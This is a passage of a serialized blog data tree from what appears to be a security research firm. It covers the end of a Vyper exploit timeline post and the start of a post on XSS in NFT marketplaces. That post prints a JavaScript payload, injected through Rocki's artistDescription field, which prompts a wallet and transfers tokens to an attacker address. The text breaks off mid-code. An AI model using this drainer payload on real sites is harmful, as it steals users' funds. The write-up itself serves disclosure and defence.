drained",{"type":22,"tag":16773,"props":32333,"children":32334},{},[32335],{"type":22,"tag":69,"props":32336,"children":32338},{"href":30937,"ariaDescribedBy":32337,"dataFootnoteRef":7,"id":30939},[16780],[32339],{"type":27,"value":602},{"type":27,"value":210},{"type":22,"tag":169,"props":32342,"children":32344},{"id":32343},"blame",[32345],{"type":27,"value":32346},"Blame",{"type":22,"tag":23,"props":32348,"children":32349},{},[32350,32354],{"type":22,"tag":1699,"props":32351,"children":32352},{},[32353],{"type":27,"value":32346},{"type":27,"value":32355}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":22,"tag":181,"props":32357,"children":32359},{"id":32358},"races",[32360],{"type":27,"value":32361},"Races",{"type":22,"tag":23,"props":32363,"children":32364},{},[32365],{"type":27,"value":32366},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":22,"tag":23,"props":32368,"children":32369},{},[32370],{"type":27,"value":32371},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":22,"tag":23,"props":32373,"children":32374},{},[32375],{"type":27,"value":32376},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":22,"tag":181,"props":32378,"children":32380},{"id":32379},"information-leakage",[32381],{"type":27,"value":32382},"Information Leakage",{"type":22,"tag":23,"props":32384,"children":32385},{},[32386],{"type":27,"value":32387},"I was both an auditor and a whitehat.",{"type":22,"tag":23,"props":32389,"children":32390},{},[32391,32393,32400],{"type":27,"value":32392},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":22,"tag":69,"props":32394,"children":32397},{"href":32395,"rel":32396},"https://twitter.com/osec_io/status/1579969927020412929",[73],[32398],{"type":27,"value":32399},"by publishing the \"scoop\"",{"type":27,"value":32401}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":22,"tag":23,"props":32403,"children":32404},{},[32405],{"type":27,"value":32406},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":22,"tag":23,"props":32408,"children":32409},{},[32410],{"type":27,"value":32411},"Half an hour more could have saved $18M.",{"type":22,"tag":23,"props":32413,"children":32414},{},[32415],{"type":27,"value":32416},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":22,"tag":169,"props":32418,"children":32420},{"id":32419},"next-steps",[32421],{"type":27,"value":32422},"Next Steps",{"type":22,"tag":23,"props":32424,"children":32425},{},[32426],{"type":27,"value":32427},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":22,"tag":23,"props":32429,"children":32430},{},[32431,32433,32440],{"type":27,"value":32432},"It's important to note that this bug ",{"type":22,"tag":69,"props":32434,"children":32437},{"href":32435,"rel":32436},"https://twitter.com/real_philogy/status/1685948253139857409",[73],[32438],{"type":27,"value":32439},"was patched since November 2021",{"type":27,"value":210},{"type":22,"tag":4226,"props":32442,"children":32443},{},[32444],{"type":22,"tag":23,"props":32445,"children":32446},{},[32447,32449,32454,32455,32458,32460,32465],{"type":27,"value":32448},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":22,"tag":1699,"props":32450,"children":32451},{},[32452],{"type":27,"value":32453},"processes",{"type":27,"value":19835},{"type":22,"tag":32283,"props":32456,"children":32457},{},[],{"type":27,"value":32459},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":22,"tag":1699,"props":32461,"children":32462},{},[32463],{"type":27,"value":32464},"was",{"type":27,"value":32466}," fixed.",{"type":22,"tag":23,"props":32468,"children":32469},{},[32470],{"type":27,"value":32471},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":22,"tag":19725,"props":32473,"children":32475},{"className":32474,"dataFootnotes":7},[19728],[32476,32481],{"type":22,"tag":169,"props":32477,"children":32479},{"className":32478,"id":16780},[19733],[32480],{"type":27,"value":19736},{"type":22,"tag":1867,"props":32482,"children":32483},{},[32484],{"type":22,"tag":1871,"props":32485,"children":32486},{"id":31680},[32487,32489],{"type":27,"value":32488},"Thankfully, these funds were later returned. ",{"type":22,"tag":69,"props":32490,"children":32492},{"href":31708,"ariaLabel":19839,"className":32491,"dataFootnoteBackref":7},[19841],[32493],{"type":27,"value":19844},{"type":22,"tag":4139,"props":32495,"children":32496},{},[32497],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":32499},[32500,32501,32505,32506],{"id":31775,"depth":1545,"text":31778},{"id":32343,"depth":1545,"text":32346,"children":32502},[32503,32504],{"id":32358,"depth":1560,"text":32361},{"id":32379,"depth":1560,"text":32382},{"id":32419,"depth":1545,"text":32422},{"id":16780,"depth":1545,"text":19736},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":32511,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32512,"description":32513,"author":32514,"image":32517,"date":32519,"isFeatured":17,"tags":32520,"onBlogPage":17,"body":32523,"_type":4157,"_id":36733,"_source":4159,"_file":36734,"_stem":36735,"_extension":4162},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[32515,32516],"caue","bruno",{"src":32518,"height":14922,"width":14922},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[32521,32522],"nft-marketplaces","xss",{"type":19,"children":32524,"toc":36716},[32525,32529,32534,32538,32543,32548,32553,32569,32575,32588,32610,32617,32622,32629,32634,32640,32645,32650,32655,32660,32671,32676,33645,33655,33667,33674,33679,34501,34506,34511,34516,34521,35305,35310,35390,35395,35464,35470,35475,35480,35706,35719,35724,35729,35734,35741,35746,35753,35759,35764,35769,35774,36093,36098,36104,36120,36126,36131,36136,36146,36151,36156,36165,36170,36176,36192,36205,36210,36215,36235,36242,36247,36254,36263,36268,36289,36342,36347,36398,36412,36417,36431,36546,36569,36653,36676,36681,36686,36691,36696,36701,36707,36712],{"type":22,"tag":169,"props":32526,"children":32527},{"id":30329},[32528],{"type":27,"value":30332},{"type":22,"tag":23,"props":32530,"children":32531},{},[32532],{"type":27,"value":32533},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":22,"tag":181,"props":32535,"children":32536},{"id":4211},[32537],{"type":27,"value":4214},{"type":22,"tag":23,"props":32539,"children":32540},{},[32541],{"type":27,"value":32542},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":22,"tag":23,"props":32544,"children":32545},{},[32546],{"type":27,"value":32547},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":22,"tag":169,"props":32549,"children":32550},{"id":32522},[32551],{"type":27,"value":32552},"XSS",{"type":22,"tag":23,"props":32554,"children":32555},{},[32556],{"type":22,"tag":1699,"props":32557,"children":32558},{},[32559,32561,32568],{"type":27,"value":32560},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":22,"tag":69,"props":32562,"children":32565},{"href":32563,"rel":32564},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[73],[32566],{"type":27,"value":32567},"even explain it to myself",{"type":27,"value":210},{"type":22,"tag":181,"props":32570,"children":32572},{"id":32571},"managing-metadata",[32573],{"type":27,"value":32574},"Managing Metadata",{"type":22,"tag":23,"props":32576,"children":32577},{},[32578,32580,32587],{"type":27,"value":32579},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":22,"tag":69,"props":32581,"children":32584},{"href":32582,"rel":32583},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[73],[32585],{"type":27,"value":32586},"payloads",{"type":27,"value":210},{"type":22,"tag":23,"props":32589,"children":32590},{},[32591,32593,32600,32602,32608],{"type":27,"value":32592},"We showcase this vulnerability in the ",{"type":22,"tag":69,"props":32594,"children":32597},{"href":32595,"rel":32596},"https://rocki.com/",[73],[32598],{"type":27,"value":32599},"Rocki Marketplace",{"type":27,"value":32601},". The ",{"type":22,"tag":257,"props":32603,"children":32605},{"className":32604},[],[32606],{"type":27,"value":32607},"artistDescription",{"type":27,"value":32609}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":22,"tag":23,"props":32611,"children":32612},{},[32613],{"type":22,"tag":215,"props":32614,"children":32616},{"alt":7,"src":32615},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":22,"tag":23,"props":32618,"children":32619},{},[32620],{"type":27,"value":32621},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":22,"tag":23,"props":32623,"children":32624},{},[32625],{"type":22,"tag":215,"props":32626,"children":32628},{"alt":7,"src":32627},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":22,"tag":23,"props":32630,"children":32631},{},[32632],{"type":27,"value":32633},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":22,"tag":181,"props":32635,"children":32637},{"id":32636},"wheres-my-wallet",[32638],{"type":27,"value":32639},"Where's My Wallet",{"type":22,"tag":23,"props":32641,"children":32642},{},[32643],{"type":27,"value":32644},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":22,"tag":23,"props":32646,"children":32647},{},[32648],{"type":27,"value":32649},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":22,"tag":23,"props":32651,"children":32652},{},[32653],{"type":27,"value":32654},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":22,"tag":23,"props":32656,"children":32657},{},[32658],{"type":27,"value":32659},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":22,"tag":32661,"props":32662,"children":32664},"div",{"style":32663},"display:flex; align-items:center; flex-direction:column;",[32665],{"type":22,"tag":215,"props":32666,"children":32670},{"src":32667,"alt":32668,"style":32669},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":22,"tag":23,"props":32672,"children":32673},{},[32674],{"type":27,"value":32675},"And here we can find the code used to achieve it :",{"type":22,"tag":618,"props":32677,"children":32681},{"className":32678,"code":32679,"language":32680,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[32682],{"type":22,"tag":257,"props":32683,"children":32684},{"__ignoreMap":7},[32685,32702,32747,32776,32792,32855,32890,32915,32940,32947,32967,32975,32991,33003,33011,33028,33045,33053,33060,33076,33092,33099,33107,33124,33136,33143,33159,33175,33182,33189,33206,33213,33221,33228,33275,33282,33346,33353,33373,33389,33405,33426,33497,33513,33520,33527,33565,33573,33580,33587,33594,33615],{"type":22,"tag":264,"props":32686,"children":32687},{"class":1534,"line":1535},[32688,32693,32698],{"type":22,"tag":264,"props":32689,"children":32690},{"style":4293},[32691],{"type":27,"value":32692},"function",{"type":22,"tag":264,"props":32694,"children":32695},{"style":4401},[32696],{"type":27,"value":32697}," request",{"type":22,"tag":264,"props":32699,"children":32700},{"style":1539},[32701],{"type":27,"value":17036},{"type":22,"tag":264,"props":32703,"children":32704},{"class":1534,"line":1545},[32705,32710,32714,32719,32724,32728,32733,32738,32743],{"type":22,"tag":264,"props":32706,"children":32707},{"style":4328},[32708],{"type":27,"value":32709},"  if",{"type":22,"tag":264,"props":32711,"children":32712},{"style":1539},[32713],{"type":27,"value":4370},{"type":22,"tag":264,"props":32715,"children":32716},{"style":4293},[32717],{"type":27,"value":32718},"typeof",{"type":22,"tag":264,"props":32720,"children":32721},{"style":1549},[32722],{"type":27,"value":32723}," window",{"type":22,"tag":264,"props":32725,"children":32726},{"style":1539},[32727],{"type":27,"value":210},{"type":22,"tag":264,"props":32729,"children":32730},{"style":1549},[32731],{"type":27,"value":32732},"ethereum",{"type":22,"tag":264,"props":32734,"children":32735},{"style":4309},[32736],{"type":27,"value":32737}," ===",{"type":22,"tag":264,"props":32739,"children":32740},{"style":1597},[32741],{"type":27,"value":32742}," 'undefined'",{"type":22,"tag":264,"props":32744,"children":32745},{"style":1539},[32746],{"type":27,"value":16103},{"type":22,"tag":264,"props":32748,"children":32749},{"class":1534,"line":1560},[32750,32755,32759,32763,32767,32772],{"type":22,"tag":264,"props":32751,"children":32752},{"style":1549},[32753],{"type":27,"value":32754},"    console",{"type":22,"tag":264,"props":32756,"children":32757},{"style":1539},[32758],{"type":27,"value":210},{"type":22,"tag":264,"props":32760,"children":32761},{"style":4401},[32762],{"type":27,"value":16163},{"type":22,"tag":264,"props":32764,"children":32765},{"style":1539},[32766],{"type":27,"value":2660},{"type":22,"tag":264,"props":32768,"children":32769},{"style":1597},[32770],{"type":27,"value":32771},"'Please install MetaMask to use this feature.'",{"type":22,"tag":264,"props":32773,"children":32774},{"style":1539},[32775],{"type":27,"value":5142},{"type":22,"tag":264,"props":32777,"children":32778},{"class":1534,"line":1569},[32779,32784,32788],{"type":22,"tag":264,"props":32780,"children":32781},{"style":1539},[32782],{"type":27,"value":32783},"  } ",{"type":22,"tag":264,"props":32785,"children":32786},{"style":4328},[32787],{"type":27,"value":4619},{"type":22,"tag":264,"props":32789,"children":32790},{"style":1539},[32791],{"type":27,"value":4594},{"type":22,"tag":264,"props":32793,"children":32794},{"class":1534,"line":1583},[32795,32800,32804,32809,32814,32819,32824,32829,32834,32839,32843,32847,32851],{"type":22,"tag":264,"props":32796,"children":32797},{"style":1549},[32798],{"type":27,"value":32799},"    ethereum",{"type":22,"tag":264,"props":32801,"children":32802},{"style":1539},[32803],{"type":27,"value":210},{"type":22,"tag":264,"props":32805,"children":32806},{"style":4401},[32807],{"type":27,"value":32808},"request",{"type":22,"tag":264,"props":32810,"children":32811},{"style":1539},[32812],{"type":27,"value":32813},"({ ",{"type":22,"tag":264,"props":32815,"children":32816},{"style":1549},[32817],{"type":27,"value":32818},"method:",{"type":22,"tag":264,"props":32820,"children":32821},{"style":1597},[32822],{"type":27,"value":32823}," 'eth_requestAccounts'",{"type":22,"tag":264,"props":32825,"children":32826},{"style":1539},[32827],{"type":27,"value":32828}," }).",{"type":22,"tag":264,"props":32830,"children":32831},{"style":4401},[32832],{"type":27,"value":32833},"then",{"type":22,"tag":264,"props":32835,"children":32836},{"style":1539},[32837],{"type":27,"value":32838},"((",{"type":22,"tag":264,"props":32840,"children":32841},{"style":1549},[32842],{"type":27,"value":15974},{"type":22,"tag":264,"props":32844,"children":32845},{"style":1539},[32846],{"type":27,"value":4390},{"type":22,"tag":264,"props":32848,"children":32849},{"style":4293},[32850],{"type":27,"value":16121},{"type":22,"tag":264,"props":32852,"children":32853},{"style":1539},[32854],{"type":27,"value":4594},{"type":22,"tag":264,"props":32856,"children":32857},{"class":1534,"line":1603},[32858,32863,32868,32872,32877,32881,32885],{"type":22,"tag":264,"props":32859,"children":32860},{"style":4293},[32861],{"type":27,"value":32862},"      const",{"type":22,"tag":264,"props":32864,"children":32865},{"style":1549},[32866],{"type":27,"value":32867}," fromAddress",{"type":22,"tag":264,"props":32869,"children":32870},{"style":4309},[32871],{"type":27,"value":4312},{"type":22,"tag":264,"props":32873,"children":32874},{"style":1549},[32875],{"type":27,"value":32876}," accounts",{"type":22,"tag":264,"props":32878,"children":32879},{"style":1539},[32880],{"type":27,"value":5045},{"type":22,"tag":264,"props":32882,"children":32883},{"style":4344},[32884],{"type":27,"value":5334},{"type":22,"tag":264,"props":32886,"children":32887},{"style":1539},[32888],{"type":27,"value":32889},"];\n",{"type":22,"tag":264,"props":32891,"children":32892},{"class":1534,"line":1612},[32893,32897,32902,32906,32911],{"type":22,"tag":264,"props":32894,"children":32895},{"style":4293},[32896],{"type":27,"value":32862},{"type":22,"tag":264,"props":32898,"children":32899},{"style":1549},[32900],{"type":27,"value":32901}," attackerAddress",{"type":22,"tag":264,"props":32903,"children":32904},{"style":4309},[32905],{"type":27,"value":4312},{"type":22,"tag":264,"props":32907,"children":32908},{"style":1597},[32909],{"type":27,"value":32910}," '0x0000000000000000000000000000000000000000'",{"type":22,"tag":264,"props":32912,"children":32913},{"style":1539},[32914],{"type":27,"value":4322},{"type":22,"tag":264,"props":32916,"children":32917},{"class":1534,"line":1621},[32918,32922,32927,32931,32936],{"type":22,"tag":264,"props":32919,"children":32920},{"style":4293},[32921],{"type":27,"value":32862},{"type":22,"tag":264,"props":32923,"children":32924},{"style":1549},[32925],{"type":27,"value":32926}," contractAddress",{"type":22,"tag":264,"props":32928,"children":32929},{"style":4309},[32930],{"type":27,"value":4312},{"type":22,"tag":264,"props":32932,"children":32933},{"style":1597},[32934],{"type":27,"value":32935}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":22,"tag":264,"props":32937,"children":32938},{"style":1539},[32939],{"type":27,"value":4322},{"type":22,"tag":264,"props":32941,"children":32942},{"class":1534,"line":1629},[32943],{"type":22,"tag":264,"props":32944,"children":32945},{"emptyLinePlaceholder":17},[32946],{"type":27,"value":4986},{"type":22,"tag":264,"props":32948,"children":32949},{"class":1534,"line":1642},[32950,32954,32959,32963],{"type":22,"tag":264,"props":32951,"children":32952},{"style":4293},[32953],{"type":27,"value":9369},{"type":22,"tag":264,"props":32955,"children":32956},{"style":1549},[32957],{"type":27,"value":32958}," tokenAbi",{"type":22,"tag":264,"props":32960,"children":32961},{"style":4309},[32962],{"type":27,"value":4312},{"type":22,"tag":264,"props":32964,"children":32965},{"style":1539},[32966],{"type":27,"value":26933},{"type":22,"tag":264,"props":32968,"children":32969},{"class":1534,"line":1660},[32970],{"type":22,"tag":264,"props":32971,"children":32972},{"style":1539},[32973],{"type":27,"value":32974},"        {\n",{"type":22,"tag":264,"props":32976,"children":32977},{"class":1534,"line":1668},[32978,32983,32987],{"type":22,"tag":264,"props":32979,"children":32980},{"style":1549},[32981],{"type":27,"value":32982},"          constant:",{"type":22,"tag":264,"props":32984,"children":32985},{"style":4293},[32986],{"type":27,"value":10354},{"type":22,"tag":264,"props":32988,"children":32989},{"style":1539},[32990],{"type":27,"value":4812},{"type":22,"tag":264,"props":32992,"children":32993},{"class":1534,"line":1677},[32994,32999],{"type":22,"tag":264,"props":32995,"children":32996},{"style":1549},[32997],{"type":27,"value":32998},"          inputs:",{"type":22,"tag":264,"props":33000,"children":33001},{"style":1539},[33002],{"type":27,"value":26933},{"type":22,"tag":264,"props":33004,"children":33005},{"class":1534,"line":1686},[33006],{"type":22,"tag":264,"props":33007,"children":33008},{"style":1539},[33009],{"type":27,"value":33010},"            {\n",{"type":22,"tag":264,"props":33012,"children":33013},{"class":1534,"line":4948},[33014,33019,33024],{"type":22,"tag":264,"props":33015,"children":33016},{"style":1549},[33017],{"type":27,"value":33018},"              name:",{"type":22,"tag":264,"props":33020,"children":33021},{"style":1597},[33022],{"type":27,"value":33023}," '_to'",{"type":22,"tag":264,"props":33025,"children":33026},{"style":1539},[33027],{"type":27,"value":4812},{"type":22,"tag":264,"props":33029,"children":33030},{"class":1534,"line":4957},[33031,33036,33041],{"type":22,"tag":264,"props":33032,"children":33033},{"style":1549},[33034],{"type":27,"value":33035},"              type:",{"type":22,"tag":264,"props":33037,"children":33038},{"style":1597},[33039],{"type":27,"value":33040}," 'address'",{"type":22,"tag":264,"props":33042,"children":33043},{"style":1539},[33044],{"type":27,"value":4812},{"type":22,"tag":264,"props":33046,"children":33047},{"class":1534,"line":4980},[33048],{"type":22,"tag":264,"props":33049,"children":33050},{"style":1539},[33051],{"type":27,"value":33052},"            },\n",{"type":22,"tag":264,"props":33054,"children":33055},{"class":1534,"line":4989},[33056],{"type":22,"tag":264,"props":33057,"children":33058},{"style":1539},[33059],{"type":27,"value":33010},{"type":22,"tag":264,"props":33061,"children":33062},{"class":1534,"line":4998},[33063,33067,33072],{"type":22,"tag":264,"props":33064,"children":33065},{"style":1549},[33066],{"type":27,"value":33018},{"type":22,"tag":264,"props":33068,"children":33069},{"style":1597},[33070],{"type":27,"value":33071}," '_value'",{"type":22,"tag":264,"props":33073,"children":33074},{"style":1539},[33075],{"type":27,"value":4812},{"type":22,"tag":264,"props":33077,"children":33078},{"class":1534,"line":5067},[33079,33083,33088],{"type":22,"tag":264,"props":33080,"children":33081},{"style":1549},[33082],{"type":27,"value":33035},{"type":22,"tag":264,"props":33084,"children":33085},{"style":1597},[33086],{"type":27,"value":33087}," 'uint256'",{"type":22,"tag":264,"props":33089,"children":33090},{"style":1539},[33091],{"type":27,"value":4812},{"type":22,"tag":264,"props":33093,"children":33094},{"class":1534,"line":5075},[33095],{"type":22,"tag":264,"props":33096,"children":33097},{"style":1539},[33098],{"type":27,"value":33052},{"type":22,"tag":264,"props":33100,"children":33101},{"class":1534,"line":5105},[33102],{"type":22,"tag":264,"props":33103,"children":33104},{"style":1539},[33105],{"type":27,"value":33106},"          ],\n",{"type":22,"tag":264,"props":33108,"children":33109},{"class":1534,"line":5113},[33110,33115,33120],{"type":22,"tag":264,"props":33111,"children":33112},{"style":1549},[33113],{"type":27,"value":33114},"          name:",{"type":22,"tag":264,"props":33116,"children":33117},{"style":1597},[33118],{"type":27,"value":33119}," 'transfer'",{"type":22,"tag":264,"props":33121,"children":33122},{"style":1539},[33123],{"type":27,"value":4812},{"type":22,"tag":264,"props":33125,"children":33126},{"class":1534,"line":5145},[33127,33132],{"type":22,"tag":264,"props":33128,"children":33129},{"style":1549},[33130],{"type":27,"value":33131},"          outputs:",{"type":22,"tag":264,"props":33133,"children":33134},{"style":1539},[33135],{"type":27,"value":26933},{"type":22,"tag":264,"props":33137,"children":33138},{"class":1534,"line":5153},[33139],{"type":22,"tag":264,"props":33140,"children":33141},{"style":1539},[33142],{"type":27,"value":33010},{"type":22,"tag":264,"props":33144,"children":33145},{"class":1534,"line":5213},[33146,33150,33155],{"type":22,"tag":264,"props":33147,"children":33148},{"style":1549},[33149],{"type":27,"value":33018},{"type":22,"tag":264,"props":33151,"children":33152},{"style":1597},[33153],{"type":27,"value":33154}," ''",{"type":22,"tag":264,"props":33156,"children":33157},{"style":1539},[33158],{"type":27,"value":4812},{"type":22,"tag":264,"props":33160,"children":33161},{"class":1534,"line":10343},[33162,33166,33171],{"type":22,"tag":264,"props":33163,"children":33164},{"style":1549},[33165],{"type":27,"value":33035},{"type":22,"tag":264,"props":33167,"children":33168},{"style":1597},[33169],{"type":27,"value":33170}," 'bool'",{"type":22,"tag":264,"props":33172,"children":33173},{"style":1539},[33174],{"type":27,"value":4812},{"type":22,"tag":264,"props":33176,"children":33177},{"class":1534,"line":10361},[33178],{"type":22,"tag":264,"props":33179,"children":33180},{"style":1539},[33181],{"type":27,"value":33052},{"type":22,"tag":264,"props":33183,"children":33184},{"class":1534,"line":10406},[33185],{"type":22,"tag":264,"props":33186,"children":33187},{"style":1539},[33188],{"type":27,"value":33106},{"type":22,"tag":264,"props":33190,"children":33191},{"class":1534,"line":10512},[33192,33197,33202],{"type":22,"tag":264,"props":33193,"children":33194},{"style":1549},[33195],{"type":27,"value":33196},"          type:",{"type":22,"tag":264,"props":33198,"children":33199},{"style":1597},[33200],{"type":27,"value":33201}," 'function'",{"type":22,"tag":264,"props":33203,"children":33204},{"style":1539},[33205],{"type":27,"value":4812},{"type":22,"tag":264,"props":33207,"children":33208},{"class":1534,"line":24810},[33209],{"type":22,"tag":264,"props":33210,"children":33211},{"style":1539},[33212],{"type":27,"value":26686},{"type":22,"tag":264,"props":33214,"children":33215},{"class":1534,"line":24845},[33216],{"type":22,"tag":264,"props":33217,"children":33218},{"style":1539},[33219],{"type":27,"value":33220},"      ];\n",{"type":22,"tag":264,"props":33222,"children":33223},{"class":1534,"line":24853},[33224],{"type":22,"tag":264,"props":33225,"children":33226},{"emptyLinePlaceholder":17},[33227],{"type":27,"value":4986},{"type":22,"tag":264,"props":33229,"children":33230},{"class":1534,"line":24861},[33231,33235,33240,33244,33249,33254,33258,33263,33267,33271],{"type":22,"tag":264,"props":33232,"children":33233},{"style":4293},[33234],{"type":27,"value":32862},{"type":22,"tag":264,"props":33236,"children":33237},{"style":1549},[33238],{"type":27,"value":33239}," web3",{"type":22,"tag":264,"props":33241,"children":33242},{"style":4309},[33243],{"type":27,"value":4312},{"type":22,"tag":264,"props":33245,"children":33246},{"style":4293},[33247],{"type":27,"value":33248}," new",{"type":22,"tag":264,"props":33250,"children":33251},{"style":4401},[33252],{"type":27,"value":33253}," Web3",{"type":22,"tag":264,"props":33255,"children":33256},{"style":1539},[33257],{"type":27,"value":2660},{"type":22,"tag":264,"props":33259,"children":33260},{"style":1549},[33261],{"type":27,"value":33262},"window",{"type":22,"tag":264,"props":33264,"children":33265},{"style":1539},[33266],{"type":27,"value":210},{"type":22,"tag":264,"props":33268,"children":33269},{"style":1549},[33270],{"type":27,"value":32732},{"type":22,"tag":264,"props":33272,"children":33273},{"style":1539},[33274],{"type":27,"value":5142},{"type":22,"tag":264,"props":33276,"children":33277},{"class":1534,"line":24870},[33278],{"type":22,"tag":264,"props":33279,"children":33280},{"emptyLinePlaceholder":17},[33281],{"type":27,"value":4986},{"type":22,"tag":264,"props":33283,"children":33284},{"class":1534,"line":24912},[33285,33289,33294,33298,33302,33306,33310,33315,33319,33324,33328,33333,33337,33342],{"type":22,"tag":264,"props":33286,"children":33287},{"style":4293},[33288],{"type":27,"value":32862},{"type":22,"tag":264,"props":33290,"children":33291},{"style":1549},[33292],{"type":27,"value":33293}," tokenContract",{"type":22,"tag":264,"props":33295,"children":33296},{"style":4309},[33297],{"type":27,"value":4312},{"type":22,"tag":264,"props":33299,"children":33300},{"style":4293},[33301],{"type":27,"value":33248},{"type":22,"tag":264,"props":33303,"children":33304},{"style":1549},[33305],{"type":27,"value":33239},{"type":22,"tag":264,"props":33307,"children":33308},{"style":1539},[33309],{"type":27,"value":210},{"type":22,"tag":264,"props":33311,"children":33312},{"style":1549},[33313],{"type":27,"value":33314},"eth",{"type":22,"tag":264,"props":33316,"children":33317},{"style":1539},[33318],{"type":27,"value":210},{"type":22,"tag":264,"props":33320,"children":33321},{"style":4401},[33322],{"type":27,"value":33323},"Contract",{"type":22,"tag":264,"props":33325,"children":33326},{"style":1539},[33327],{"type":27,"value":2660},{"type":22,"tag":264,"props":33329,"children":33330},{"style":1549},[33331],{"type":27,"value":33332},"tokenAbi",{"type":22,"tag":264,"props":33334,"children":33335},{"style":1539},[33336],{"type":27,"value":4380},{"type":22,"tag":264,"props":33338,"children":33339},{"style":1549},[33340],{"type":27,"value":33341},"contractAddress",{"type":22,"tag":264,"props":33343,"children":33344},{"style":1539},[33345],{"type":27,"value":5142},{"type":22,"tag":264,"props":33347,"children":33348},{"class":1534,"line":24945},[33349],{"type":22,"tag":264,"props":33350,"children":33351},{"emptyLinePlaceholder":17},[33352],{"type":27,"value":4986},{"type":22,"tag":264,"props":33354,"children":33355},{"class":1534,"line":24953},[33356,33360,33365,33369],{"type":22,"tag":264,"props":33357,"children":33358},{"style":4293},[33359],{"type":27,"value":32862},{"type":22,"tag":264,"props":33361,"children":33362},{"style":1549},[33363],{"type":27,"value":33364}," transactionObject",{"type":22,"tag":264,"props":33366,"children":33367},{"style":4309},[33368],{"type":27,"value":4312},{"type":22,"tag":264,"props":33370,"children":33371},{"style":1539},[33372],{"type":27,"value":4594},{"type":22,"tag":264,"props":33374,"children":33375},{"class":1534,"line":24961},[33376,33381,33385],{"type":22,"tag":264,"props":33377,"children":33378},{"style":1549},[33379],{"type":27,"value":33380},"        from:",{"type":22,"tag":264,"props":33382,"children":33383},{"style":1549},[33384],{"type":27,"value":32867},{"type":22,"tag":264,"props":33386,"children":33387},{"style":1539},[33388],{"type":27,"value":4812},{"type":22,"tag":264,"props":33390,"children":33391},{"class":1534,"line":24970},[33392,33397,33401],{"type":22,"tag":264,"props":33393,"children":33394},{"style":1549},[33395],{"type":27,"value":33396},"        